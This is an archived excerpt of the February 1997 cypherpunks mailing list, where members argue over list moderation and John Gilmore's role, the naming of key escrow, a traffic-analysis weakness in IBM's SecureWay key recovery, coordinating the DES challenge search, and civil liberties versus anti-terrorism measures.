device at: > http://www.nsa.gov:8080/programs/missi/condor.html Condor is, of course, a Fortezza (clipper) application, which makes it less than useful to those outside the government. In fact, from what I've heard even the potential government users are much more interested in STU III support. I wonder why... Phil From boursy at earthlink.net Tue Feb 4 06:57:48 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Tue, 4 Feb 1997 06:57:48 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702041457.GAA28808@toad.com> Dr.Dimitri Vulis KOTM wrote: > > ichudov at algebra.com (Igor Chudov @ home) writes: > >> Adam Back wrote: >> > >> > Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As >> > an aside, it is ironic that John Gilmore was the guy who started the >> > alt.* USENET hierarchy, specifically to facilitate freedom of speech). >> > >> >> An interesting idea. > >John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for >other people's accomplishments. Well EFF itself is a lie--the were very well exposed by Wired Mag. a while back as being nothing more than a corporate whore. They represent the interests of owners not consumers--the ACLU has been very open in their critisism of the EFF in this regard. A large corporation waves some money in front of their noses and tells them to bend over you can be sure they'll bend over. Respectable free speech advocates do not associate with EFF. >He had nothing whatsoever to do with the creation of the alt.* Usenet >hierarchy. Gilmore is a liar and a censor. > Is Mr. Gilmore making this claim? >On the other hand, creating an alt.cypherpunks sounds like a more robust >idea than yet another mailing list. And you could merely post this mailing list publically in the alt group of your choice--I find it interesting at times but not worth responding to in general since freedom of expressiion is not a given. Steve From tmcghan at mail.bcpl.lib.md.us Tue Feb 4 06:58:18 1997 From: tmcghan at mail.bcpl.lib.md.us (tmcghan at mail.bcpl.lib.md.us) Date: Tue, 4 Feb 1997 06:58:18 -0800 (PST) Subject: Information Warfare Message-ID: <199702041458.GAA28816@toad.com> in a message allegedly from: Peter Hendrickson > The cypherpunks list has been under "attack" for some time. {snip} > Some people have dismissed the idea that rogue governmental elements > are behind some of our problems. {snip} > We know that "Information Warfare" is the big thing in the defense > establishment right now. Information Warfare Conference sponsored by DPMA/AITP Washington, DC, March 13-14, 1997 Crystal City Marriott 1999 Jefferson Davis Highway Arlington, VA 22202 Presentations by: Major General Michael V. Hayden, Commander, Air Intelligence Agency Dr. C. Kenneth Allard, Competitive Strategies Col. H. Stevens, Land Information Warfare Activity - current service visions and planned program initiatives - operational concepts for 'third-wave' warfare - information warfare drivers for 21st century C4I architectures - emerging technologies and systems for information warfare superiority: opportunities on the horizon 'information warfare targets and vulnerabilities', Maxim I. Kovel, TASC systems management group 'information warfare for deterrence', William H.J. Manthorpe, Jr. Applied Physics Laboratory, Johns Hopkins 'adaptive techniques for counter-deception', James Llinas, technical advisor, DOD JDL, Data Fusion group 'emerging threats come in all sizes and flavors', Eugene Schultz, SRI consulting "Information has been termed the 'fifth dimension' in the conduct of 'third-wave' warfare, and promises to dramatically enhance the role of C4I as a force multiplier. Joint and individual service doctrine is emerging for IW, ans is affecting the needs and requirements for diverse systems: from space-based surveillance and communications systems to terrestrial image processing, visualization, and information fusion systems." "This conference will provide a valuable forum where military and industry staff can interact with key decision-makers to achieve the most current possible understanding of Information Warfare concepts, initiatives, technologies and potential opportunities. The Critical Questions to be addressed include: - how is IW changing operational concepts? - how can we defend the weak links in the planned information-intensive reconnaissance, strike, targeting architecture? - what developments in enabling technologies are needed to support current Information Operations, Battlefield Visualization, and Information Exploitation initiatives? -what can be done to develop defensive information technology capabilities? and last, but _c_e_r_t_a_i_n_l_y_ not least: - how will we move forward to develop a true offensive IW capability ============================================== From jlv at sig.bsh.com Tue Feb 4 07:01:38 1997 From: jlv at sig.bsh.com (Jason Vagner) Date: Tue, 4 Feb 1997 07:01:38 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702032241.OAA04539@toad.com> Message-ID: >(And if Sandy wants comity and good cheer, let him either form >his own list or establish a filtered list just the way Blossom >and Arachelian did. Hijacking the list to reform it in his own >image is dirty pool.) Just something from another perspective: I've been on the list for quite a long time, though I've never posted. I've been online for over ten years, ran my share of mailing lists, and understand majordomo quite well. As far as I can tell, nobody has ever advertised or posted instructions for joining Blossom's or Arachelian's lists. At one time I gave a little bit of an effort to find them, to no avail. They don't seem readily available on the search engines (again, as of about 6 months ago). I never did flat out post a request for the information, as it was not that important for *me* to find it. I imagine that these individuals might have limited resources for a list-too-large, but is there really a reason this is request-only info? --- Jason Vagner Resist KRAP and GAK. Police States Are Bad. "All that one can give is what is going to happen, which may have little to do with a present that you can grasp." - Avital Ronell. From dthorn at gte.net Tue Feb 4 07:11:00 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 07:11:00 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702041511.HAA29113@toad.com> John Gilmore wrote: > I'm glad we're talking about some of the real issues here. > I'm definitely bugged by the community's attitude toward my "censorship". I'll bet you are. > Perhaps at that point I should have shut down the list, as Lucky is > now suggesting. He'd really like to, but... > You-all remind me of a passage from Booker T. > Washington's book _Up From Slavery_, describing what happened on the > night that news of the Emancipation Proclamation reached the South: What we most remind him of are slaves. > Most of the people on the list haven't bothered to face that freedom. Which freedom is that? > If you want to help organize what I'll call the `progressive crypto > community', for lack of a better term, then please do. Otherwise, in > the immortal words of Lazarus Long, "PIPE DOWN!". i.e., stop saying what I don't want to hear and start saying what I do want to hear, after all, it's *my* list. From ptrei at ACM.ORG Tue Feb 4 07:12:42 1997 From: ptrei at ACM.ORG (Peter Trei) Date: Tue, 4 Feb 1997 07:12:42 -0800 (PST) Subject: GAK/KR spin Message-ID: <199702041512.HAA29212@toad.com> > Date: Mon, 3 Feb 1997 14:34:49 -0800 > From: Steve Schear > To: cypherpunks at toad.com > Subject: GAK/KR spin > Several months back there were discussions on the list regarding renaming > the government's key escrow/recovery proposals (KRAP comes to mind). I > think we need something that's catchy and simple (perhaps already familiar) > to understand for the semi-litterate citizen units. I propose we encourage > use of the terms "crippleware" or "crypto crippleware" when refering to the > products limited to their weak crypto and/or key escrow/recovery. > > --Steve For some time, I have been using the term 'espionage-enabled software' to describe GAK'd products. Also, 'compromised software' - I want to make the point that 'key escrow/recovery' == insecure.' Peter Trei trei at process.com PS: I have SW for working on the $10,000 DES challenge available. From adam at homeport.org Tue Feb 4 07:42:51 1997 From: adam at homeport.org (Adam Shostack) Date: Tue, 4 Feb 1997 07:42:51 -0800 (PST) Subject: New X-Ray Imager In-Reply-To: <199702040126.RAA08938@toad.com> Message-ID: <199702041538.KAA16105@homeport.org> | A poll last week by the Los Angeles Times found that a majority of people -- | 58 percent -- said they would curtail some civil liberties if it would help | thwart terrorism. Thirteen percent said it would depend on what rights were | at stake. The poll didn't ask people to single out any rights. Its worth noting the 'if it would help thwart terrorism.' The 'best,' most expensive anti-terrorism measures ever used in the US were at the Summer Olympics. The White House point man on encryption admitted at last years CFP that Clipper and its derivatives would not have prevented the Oklahoma city bombing. A question worth asking is do we want to apply evolutionary pressure to terrorists? I prefer hijacking to bombings wrt aircraft, but the FAA disagrees. I prefer having my car stolen without me in it as well. (I think John Gilmore asked that question, but I could be wrong.) Adam -- Pet peeve of the day: Security companies whose protocols dare not speak their name, because they don't have one. Guilty company of the day is now V-One. From jlv at sig.bsh.com Tue Feb 4 08:18:42 1997 From: jlv at sig.bsh.com (Jason Vagner) Date: Tue, 4 Feb 1997 08:18:42 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702041618.IAA00787@toad.com> >(And if Sandy wants comity and good cheer, let him either form >his own list or establish a filtered list just the way Blossom >and Arachelian did. Hijacking the list to reform it in his own >image is dirty pool.) Just something from another perspective: I've been on the list for quite a long time, though I've never posted. I've been online for over ten years, ran my share of mailing lists, and understand majordomo quite well. As far as I can tell, nobody has ever advertised or posted instructions for joining Blossom's or Arachelian's lists. At one time I gave a little bit of an effort to find them, to no avail. They don't seem readily available on the search engines (again, as of about 6 months ago). I never did flat out post a request for the information, as it was not that important for *me* to find it. I imagine that these individuals might have limited resources for a list-too-large, but is there really a reason this is request-only info? --- Jason Vagner Resist KRAP and GAK. Police States Are Bad. "All that one can give is what is going to happen, which may have little to do with a present that you can grasp." - Avital Ronell. From adam at homeport.org Tue Feb 4 08:26:36 1997 From: adam at homeport.org (Adam Shostack) Date: Tue, 4 Feb 1997 08:26:36 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702041626.IAA00919@toad.com> | A poll last week by the Los Angeles Times found that a majority of people -- | 58 percent -- said they would curtail some civil liberties if it would help | thwart terrorism. Thirteen percent said it would depend on what rights were | at stake. The poll didn't ask people to single out any rights. Its worth noting the 'if it would help thwart terrorism.' The 'best,' most expensive anti-terrorism measures ever used in the US were at the Summer Olympics. The White House point man on encryption admitted at last years CFP that Clipper and its derivatives would not have prevented the Oklahoma city bombing. A question worth asking is do we want to apply evolutionary pressure to terrorists? I prefer hijacking to bombings wrt aircraft, but the FAA disagrees. I prefer having my car stolen without me in it as well. (I think John Gilmore asked that question, but I could be wrong.) Adam -- Pet peeve of the day: Security companies whose protocols dare not speak their name, because they don't have one. Guilty company of the day is now V-One. From mclow at owl.csusm.edu Tue Feb 4 09:21:22 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Tue, 4 Feb 1997 09:21:22 -0800 (PST) Subject: IBM's SecureWay Key Recovery technology Message-ID: >From : >At the RSA Conference, IBM announced the details of its highly >anticipated SecureWay key recovery technology. IBM is developing this >technology in response to market demands for exportable strong >encryption required to advance the growth of global e-business. >[ yada yada yada snipped ] I attended this presentation. Basically, what they do is to add two packets to the "channel setup process", one that depends only on the coorespondents, the other that contains the information about this particular session. A problem with this, as I pointed out to the presenters, is that the first packet can be trivially used for traffic analysis. The eavesdropper may not be able to determine who is cooresponding, but they can tell if it is the same people as in a previous conversation. >From >In order to minimize the preparation overhead, the recovery information >is prepared in two phases: one phase is independent of the particular >session/archive key being prepared; the second phase is dependent on the >particular key and session parameters. The first phase, which uses >public-key encryption, can be shared across multiple invocations of key >recovery preparation, thus reducing overhead. The public-key encryptions >can be stored for repeated use. > As you can see, IBM suggests cacheing the contents of the first packet, so that you don't have to recalculate it each time. Imagine how easy traffic analysis would be if the identification packets were identical instead of just related. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From osborne at gateway.grumman.com Tue Feb 4 09:39:48 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Tue, 4 Feb 1997 09:39:48 -0800 (PST) Subject: AltaVista Tunnel Message-ID: <3.0.1.32.19970204123842.0093d9e0@gateway.grumman.com> The Digital / Microsoft "Driving Force" tour is in our parking lot today and I got the opportunity to have a look around. One of the 'stations' inside the truck is on intranets. They were showing off a product called "AltaVista Tunnel" which I assume is their PPTP product. I say "I assume" because the guy showing it off had absolutely no clue what he was talking about. He triumphantly exclaimed that the encryption was 128-bit, but when I said "128-bit what?" he cowered and muttered that he didn't know and went on with his little speech. The rest of my crypto-specific questions met with equal dark stares. And these are the people setting industry standards... _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ Real programmers programs never work right the first time. But if you throw them on the machine they can be patched into working in only a few 30-hours debugging sessions. From joelm at eskimo.com Tue Feb 4 09:41:36 1997 From: joelm at eskimo.com (Joel McNamara) Date: Tue, 4 Feb 1997 09:41:36 -0800 (PST) Subject: DES keyspace Message-ID: <3.0.32.19970204093946.006a5d88@mail.eskimo.com> Is anyone coordinating (formally or informally) which chunks of the keyspace has been searched for the DES challenge? Yes, I know all the arguments about potential fraud and verification, but it would be nice to have a Web site that informally listed what had been scanned so far (verified or not). Did I perhaps miss something and this is already out there? URLs appreciated if so. If it doesn't exist, I'd be willing to host a site and play coordinator... Joel From Scottauge at aol.com Tue Feb 4 09:51:59 1997 From: Scottauge at aol.com (Scottauge at aol.com) Date: Tue, 4 Feb 1997 09:51:59 -0800 (PST) Subject: Embarrass a Marylander, go to jail Message-ID: <970204112612_275827339@emout09.mail.aol.com> Think they are trying to expand the harrassment laws to directly effect the E world, but I would think the laws on harrassment would apply anyhow (provided your in their domain, but then again thats true for all governments...) --- How has the government interfered in your life today? From joelm at eskimo.com Tue Feb 4 10:05:29 1997 From: joelm at eskimo.com (Joel McNamara) Date: Tue, 4 Feb 1997 10:05:29 -0800 (PST) Subject: DES keyspace Message-ID: <199702041805.KAA02736@toad.com> Is anyone coordinating (formally or informally) which chunks of the keyspace has been searched for the DES challenge? Yes, I know all the arguments about potential fraud and verification, but it would be nice to have a Web site that informally listed what had been scanned so far (verified or not). Did I perhaps miss something and this is already out there? URLs appreciated if so. If it doesn't exist, I'd be willing to host a site and play coordinator... Joel From mclow at owl.csusm.edu Tue Feb 4 10:05:34 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Tue, 4 Feb 1997 10:05:34 -0800 (PST) Subject: IBM's SecureWay Key Recovery technology Message-ID: <199702041805.KAA02744@toad.com> >From : >At the RSA Conference, IBM announced the details of its highly >anticipated SecureWay key recovery technology. IBM is developing this >technology in response to market demands for exportable strong >encryption required to advance the growth of global e-business. >[ yada yada yada snipped ] I attended this presentation. Basically, what they do is to add two packets to the "channel setup process", one that depends only on the coorespondents, the other that contains the information about this particular session. A problem with this, as I pointed out to the presenters, is that the first packet can be trivially used for traffic analysis. The eavesdropper may not be able to determine who is cooresponding, but they can tell if it is the same people as in a previous conversation. >From >In order to minimize the preparation overhead, the recovery information >is prepared in two phases: one phase is independent of the particular >session/archive key being prepared; the second phase is dependent on the >particular key and session parameters. The first phase, which uses >public-key encryption, can be shared across multiple invocations of key >recovery preparation, thus reducing overhead. The public-key encryptions >can be stored for repeated use. > As you can see, IBM suggests cacheing the contents of the first packet, so that you don't have to recalculate it each time. Imagine how easy traffic analysis would be if the identification packets were identical instead of just related. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From osborne at gateway.grumman.com Tue Feb 4 10:07:14 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Tue, 4 Feb 1997 10:07:14 -0800 (PST) Subject: AltaVista Tunnel Message-ID: <199702041807.KAA02790@toad.com> The Digital / Microsoft "Driving Force" tour is in our parking lot today and I got the opportunity to have a look around. One of the 'stations' inside the truck is on intranets. They were showing off a product called "AltaVista Tunnel" which I assume is their PPTP product. I say "I assume" because the guy showing it off had absolutely no clue what he was talking about. He triumphantly exclaimed that the encryption was 128-bit, but when I said "128-bit what?" he cowered and muttered that he didn't know and went on with his little speech. The rest of my crypto-specific questions met with equal dark stares. And these are the people setting industry standards... _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ Real programmers programs never work right the first time. But if you throw them on the machine they can be patched into working in only a few 30-hours debugging sessions. From Scottauge at aol.com Tue Feb 4 10:12:29 1997 From: Scottauge at aol.com (Scottauge at aol.com) Date: Tue, 4 Feb 1997 10:12:29 -0800 (PST) Subject: Embarrass a Marylander, go to jail Message-ID: <199702041812.KAA02898@toad.com> Think they are trying to expand the harrassment laws to directly effect the E world, but I would think the laws on harrassment would apply anyhow (provided your in their domain, but then again thats true for all governments...) --- How has the government interfered in your life today? From shamrock at netcom.com Tue Feb 4 10:20:22 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 4 Feb 1997 10:20:22 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <3.0.32.19970204102007.007019f8@192.100.81.136> At 11:36 PM 2/3/97 -0800, Peter Hendrickson wrote: >What I have seen is a pretty complete elimination of the signal that >was there. Some might argue that this is "just" because Tim stopped >posting. But so what? The result of moderation was the elimination >of signal. Nonsense. The signal had left long before the moderation began. The steepest drop in signal (not S/N ratio) was between shortly before Perry left and Vulis had completed his takeover. Signal is cause by signal generators. Most top signal generators, other than Tim, had left because of pollution caused by the likes of Vulis, aga, and his homophonic boyfriends. Moderation has nothing to do with the loss of signal other than that signal from Tim was lost. And while I appreciated Tim's essays, they were never the sole source of signal on the list. Tim did not even provide the majority of signal. "Best individual contributor", sure. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From jeffb at issl.atl.hp.com Tue Feb 4 10:38:06 1997 From: jeffb at issl.atl.hp.com (Jeff Barber) Date: Tue, 4 Feb 1997 10:38:06 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: <199702041421.GAA27742@toad.com> Message-ID: <199702041838.NAA30479@jafar.issl.atl.hp.com> I'm another long time list member. I've posted before on a number of occasions but not often. And I was one of those who subscribed immediately to the unedited list. Anyway, herein my 2 cents. John Gilmore writes: > Tim May said: > > I don't want Sandy Sandfort sitting in judgment on my > > posts, deciding what the Cypherpunks--a group I co-founded for God's > > sake!!!!--are to be allowed to read and what they may not. > > Tim, the Cypherpunks have chosen to follow Sandy's lead for this > month. I'll admit I made it easy for them, but the results are > conclusive. There are 1311 addresses in the cypherpunks list today; > 42 in the unedited list; and 19 in the flames list. "Conclusively" this has shown only that most folks are willing to go along with an experiment -- especially if it requires them to do exactly nothing. The results of the moderation experiment itself can't possibly be conclusive until the moderation has gone on for much longer--a few months at least, possibly years. Then, we'll see how many people are willing to put up with the high volume over the long term, even possibly in the absence of thoughtful essays from long-time list members (like Tim) who have been driven away from the list. Even if it "survives" by that criteria, it may not survive in *my* book. There are only a handful of people whose posts make the cypherpunks list worthwhile (IMO of course). There're quite a few others who contribute to the discussion but aren't themselves worth the trouble (no offense intended to anyone; I would certainly count myself in this group as well). I don't deny that putting up with the noise on the list takes some effort. In fact, after years of surviving with only my 'd' key, I'd finally been driven to install a procmail filter shortly before moderation was announced. Interestingly, since that point, it *has* become more difficult to filter--but IMO that's because it's also gotten less interesting (how do you know if you're filtering is successful?). In fact, lately I've begun to "filter" *all* of cypherpunks into an alternate mailbox file, and find that I'm perfectly content to look at it only every couple of days, and just pick and choose among the posts based on author and subject. I don't claim to be representative of the average cypherpunk, but in my view, this is a bad sign--it indicates a lack of compelling "content". It might as well be a Usenet group--I don't feel like a "member of the Cypherpunks list" anymore. As the list stands now, I would hardly even notice (or care) if I were no longer subscribed. > I'm definitely bugged by the community's attitude toward my > "censorship". Rather than being glad that someone, anyone, was doing > something about the major problem on the list, 99% of the reaction was > to create even more ill-considered, emotional flamage. *I* didn't > make the signal/noise get worse at that point -- *you-all* did. Well, I did do something. When the volume got too high for me to take unassisted, I installed procmail to tailor the list to my own likings. Many have been advocating it on the list for years. I was just too lazy to do so until the pain of not having it finally got too high. As for the signal to noise ratio, John hasn't made it worse, but he hasn't made it much better either. No offense is intended--John's posts were always at the top of my reputation list--but he posts so infrequently that he falls into that "not worth subscribing for" group. What was the problem with the list that finally required that somebody "do something"? Sure, the list was high volume. And there were a lot of flames and silly useless garbage. But this is no different than it has been for years. And the Vulisgrams were no more (or less) vicious or annoying than Detweiler's Medusa and S.Boxx rants from the old days. (The reason I personally could stand it [without procmail] back then was that I wasn't on so many *other* mailing lists at the same time.) > The experiment will be over in a few weeks. Who's going to take over > deciding how to run the list, and running it? Can't we just forget any of this ever came up? Drop the moderation, resubscribe the Vulis 'bot and go on as before. > PS: Can we talk about crypto too? ... Sorry, that would be off-topic; this list is only for discussions of the cypherpunks moderation policy. Maybe you could post something on Perry's "cryptography" list though. (:-) -- Jeff From shamrock at netcom.com Tue Feb 4 10:55:31 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 4 Feb 1997 10:55:31 -0800 (PST) Subject: New X-Ray Imager Message-ID: <3.0.32.19970204105556.00704204@192.100.81.136> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote: > >| A poll last week by the Los Angeles Times found that a majority of people -- >| 58 percent -- said they would curtail some civil liberties if it would help >| thwart terrorism. Thirteen percent said it would depend on what rights were >| at stake. The poll didn't ask people to single out any rights. > > Its worth noting the 'if it would help thwart terrorism.' It is irrelevant if terrorism is indeed be thwarted. The public does not require this to happen. All that matters is to generate the *perception* of increased security, not to increase security itself. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From antimod at nym.alias.net Tue Feb 4 11:23:19 1997 From: antimod at nym.alias.net (Against Moderation) Date: Tue, 4 Feb 1997 11:23:19 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: <199702041421.GAA27742@toad.com> Message-ID: <19970204192309.25692.qmail@anon.lcs.mit.edu> John Gilmore writes: > Tim, the Cypherpunks have chosen to follow Sandy's lead for this > month. I'll admit I made it easy for them, but the results are > conclusive. There are 1311 addresses in the cypherpunks list today; > 42 in the unedited list; and 19 in the flames list. Forty people > cared enough to read every posting; the other thousand either wanted > to try the experiment -- or didn't care enough to send an email > message. Which, as we all know, is a very low threshold. I just have to point out that you are ignoring some important factors (though I do trust your intentions and believe it is unintentional). I initially tried subscribing to all the lists, but the headers of the edited and unedited lists were identical making it impossible to sort the mail. To make matters worse, some messages seem to have gone out only to the edited list, and not to the unedited (particularly at the beginning), so that, unable to come up with a decent filtering scheme easily, I finally gave up and just subscribed to cypherpunks. In general, unsubscribing and resubscribing to a mailing list is not completely trivial. In addition to the particulars of cypherpunks, there are also the issues of what if your E-mail address depends on the machine you send mail from and your unsubscribe request gets delayed for confirmation. What if the new list no longer works properly with your mail filter and you end up with 1,000 pieces of cypherpunks mail in your main mailbox, etc. These are not insurmountable obstacles, but they certainly provide a strong enough disincentive for people to switching their list subscriptions that I think the numbers you list above are meaningless. Perhaps a better comparison would be to look at how many people subscribe to the other two filtered cypherpunks lists. > Perhaps at that point I should have shut down the list, as Lucky is > now suggesting. Well, you don't appreciate the content of the list, and you seem to feel that many members of the list don't appreciate what you are doing. Why not shut the list down? I can think of one reason: cypherpunks seems to suck in a lot of crap, and might be keeping that crap away from the coderpunks list. Other than that, though, I think killing this list would probably be a good idea. From ichudov at algebra.com Tue Feb 4 11:25:04 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 4 Feb 1997 11:25:04 -0800 (PST) Subject: New X-Ray Imager In-Reply-To: <3.0.32.19970204105556.00704204@192.100.81.136> Message-ID: <199702041919.NAA08584@manifold.algebra.com> Lucky Green wrote: > At 10:38 AM 2/4/97 -0500, Adam Shostack wrote: > >| A poll last week by the Los Angeles Times found that a majority of > people -- > >| 58 percent -- said they would curtail some civil liberties if it would help > >| thwart terrorism. Thirteen percent said it would depend on what rights were > >| at stake. The poll didn't ask people to single out any rights. > > > > Its worth noting the 'if it would help thwart terrorism.' > > It is irrelevant if terrorism is indeed be thwarted. The public does not > require this to happen. All that matters is to generate the *perception* of > increased security, not to increase security itself. Let's remember though that perception of security applies not only to passengers, but also to potential terrorists. If they *think* that they would not be able to bring a bomb easily, they would be less inclined to do so. - Igor. From svmcguir at syr.edu Tue Feb 4 11:28:01 1997 From: svmcguir at syr.edu (Scott V. McGuire) Date: Tue, 4 Feb 1997 11:28:01 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <32F6FD0C.5D98@gte.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Tue, 4 Feb 1997, Dale Thorn wrote: > Scott V. McGuire wrote: > > > (Even within the community, some people are more a part of > > it than others, and nobody is more a part of it then Tim.) > > Is this like saying "some of the pigs were more equal than the others"? > No, in this case there is not even a pretense of equality. - -------------------- Scott V. McGuire PGP key available at http://web.syr.edu/~svmcguir Key fingerprint = 86 B1 10 3F 4E 48 75 0E 96 9B 1E 52 8B B1 26 05 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBMveNb97xoXfnt4lpAQEqMQP/QfEoEMy+deAwSB1l5J4i9pNolcSJ47Bw SuhfHyMwCWzzmeB0G+Ce5WVUPw0CH/gJcA8+WYRXdumF3ddhmxxKi7uWkfFYBvTH 4ZuiuvelFPgGuC0yOMcXQ3Hn18li+hKvdJuEpcRRJBD5aYYvQA9SNfs8c+ezgPOc 8hs2/3LbASM= =7FcR -----END PGP SIGNATURE----- From dave.hodgins at westonia.com Tue Feb 4 11:35:38 1997 From: dave.hodgins at westonia.com (DAVE HODGINS) Date: Tue, 4 Feb 1997 11:35:38 -0800 (PST) Subject: MY DEPARTURE, MODERA In-Reply-To: <199702032259.OAA05072@toad.com> Message-ID: <8D16367.0001051748.uuout@westonia.com> -----BEGIN PGP SIGNED MESSAGE----- AB> My main complaints about the `filtering' service forced upon the list AB> readership are that: AB> 1. It was done to the main list! If cypherpunks were left unchanged, AB> and a `cypherpunks-edited' were created I wouldn't have a problem, it AB> would be just another filtered list. However there are already As a lurker (I've only sent 4 messages to the list in the last 3 years), I agree completely with Adam Back's post. I'd also like to point out, that I rarely read all of the messages, and tend to select which messages to read, based on the subject. Because of this, I missed the message announcing that the moderation had started, and that there was a new, unedited list. I didn't realize the moderation had started, until I noticed the lack of autobot insults, and then looked at some of the messages from the moderation thread. I get the list via email, through a pcboard bbs, mixed in with all of my personal email. I wrote a program, to separate everything from the list into separate folder. Switching over to the unedited list, will require a bit more for me, then just unsubscribe/subscribe. I'll wait and see if the moderation continues on the main list. If it does, I'll go through the bother of switching to the unedited list. Regards, Dave Hodgins. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: cp850 iQEVAwUBMveOxYs+asmeZwNpAQEDxwf+O0NjHdHdD3zdu6JHtF+ESmQHkmknmZos INN9YQQPmFEsn5Dd3CEsr9YAcqgJUUVGoStcJqM9RQ2SeN0ASa/aRoXICGWMxjuO crV18nSNL6ZJ92/V/Q4/LDe7O8zMIS3w86WRTH5JEhnrN+EabH5QnlpF9CNPRwAD TsS9I/IiXKNtVUxMUvTDB93DHEDGkkFcqiNUfGPvDq8cHeSDVqrZ1EQNOOhDkglY rk2/+E7IleUIv+b7PgoDk5Z8T5n3eNJBqAnOC9qWJsJPE7eZHXX9xZO7sod9c8IK p/SthYca2tI2/7yt3wW4oQP/FT5mIXmWECy84l9+Mlb78P1eq7ZyCQ== =Mv14 -----END PGP SIGNATURE----- --- � RM 1.31 0820 � Internet:Dave.Hodgins at Westonia.com Rime->1347 Fido 1:250/636 From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 4 11:37:06 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 4 Feb 1997 11:37:06 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <01IF0RKNC5OW9AN1CU@mbcl.rutgers.edu> From: IN%"gnu at toad.com" "John Gilmore" 4-FEB-1997 12:20:22.10 >Tim, the Cypherpunks have chosen to follow Sandy's lead for this >month. I'll admit I made it easy for them, but the results are >conclusive. There are 1311 addresses in the cypherpunks list today; >42 in the unedited list; and 19 in the flames list. Forty people >cared enough to read every posting; the other thousand either wanted >to try the experiment -- or didn't care enough to send an email >message. Which, as we all know, is a very low threshold. You're making an invalid assumption... namely that people who stayed on the moderated list are neccessarily wanting it to be the main list. This isn't the case with me, for instance. I'd also point out that some of us - including me - were taking the time to take a look at what happened with the moderated list. On the one hand, it did result in a decrease in the trash messages... on the other hand, it also drove away 1+ good posters (TCMay for one). As I've said before, I might wind up going with Sandy's (or some other) filtered list. But changing the name (effectively, to cypherpunks-unedited) was a bad idea. >I'm definitely bugged by the community's attitude toward my >"censorship". Rather than being glad that someone, anyone, was doing >something about the major problem on the list, 99% of the reaction was >to create even more ill-considered, emotional flamage. *I* didn't >make the signal/noise get worse at that point -- *you-all* did. I can see how you might ignore objections from those who did make the signal/noise get worse... but from those who didn't? _I_ tried to help you by letting you & Sandy know when something was going wrong. >Perhaps at that point I should have shut down the list, as Lucky is >now suggesting. "Asking the list what to do" was clearly not a useful >option. Sandy cared enough about the community to make some concrete >suggestions to me about how to get the list back on track. They >involved a lot more work than the previous setup. I told him if he >was willing to do the work, we could try it. As Dale suggests, I >wasn't about to waste my time reading the whole list in real time and >passing judgement on the postings. Sandy was, for a month. I (and others, I believe) are gratified by y'all's attempts to help. I just think that you went about it the wrong way. >Start a mailing list on another site! Move this list to somewhere! [...] >The experiment will be over in a few weeks. Who's going to take over >deciding how to run the list, and running it? Would you be willing to help in starting up a distributed list? That would appear to solve at least some of the toad.com problems (keeping it running 24 hours a day, 7 days a week) with which I am sympathetic. >If you want to help organize what I'll call the `progressive crypto >community', for lack of a better term, then please do. Otherwise, in >the immortal words of Lazarus Long, "PIPE DOWN!". I'm willing to help the _libertarian_ crypto community, to the limit allowed by my available resources (I'm a grad student). Organize? I'm not so sure to what degree that's helping. Progressive? I'm not a liberal. Slight but meaningful difference in terms. >PS: Can we talk about crypto too? It's clear from the last few days >of press releases that the pro-GAK forces are again working to confuse >novices into thinking that two very different things are the same >thing. Last time it was "public key infrastructure" and "key >recovery". This time it's "strong crypto" and "56-bit DES". What >should we do about this? Educate the public? The public won't listen until 56-bit DES is broken; then, they can be told that "somebody broke the cryptography used by banks" and they might listen. In other words, what can be done is supporting DES-breaking efforts (ideally, via the collection of different possible keys and their indicators, as someone had mentioned earlier - sorry, I'm a biologist, not a mathematician, so I've forgotten the actual terms. It was something that would essentially enable the near-instant breaking of _any_ DES code after the competion of the project. My apologies if I've gotten mixed up on this). -Allen From shamrock at netcom.com Tue Feb 4 11:41:07 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 4 Feb 1997 11:41:07 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702041941.LAA04345@toad.com> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote: > >| A poll last week by the Los Angeles Times found that a majority of people -- >| 58 percent -- said they would curtail some civil liberties if it would help >| thwart terrorism. Thirteen percent said it would depend on what rights were >| at stake. The poll didn't ask people to single out any rights. > > Its worth noting the 'if it would help thwart terrorism.' It is irrelevant if terrorism is indeed be thwarted. The public does not require this to happen. All that matters is to generate the *perception* of increased security, not to increase security itself. -- Lucky Green PGP encrypted mail preferred 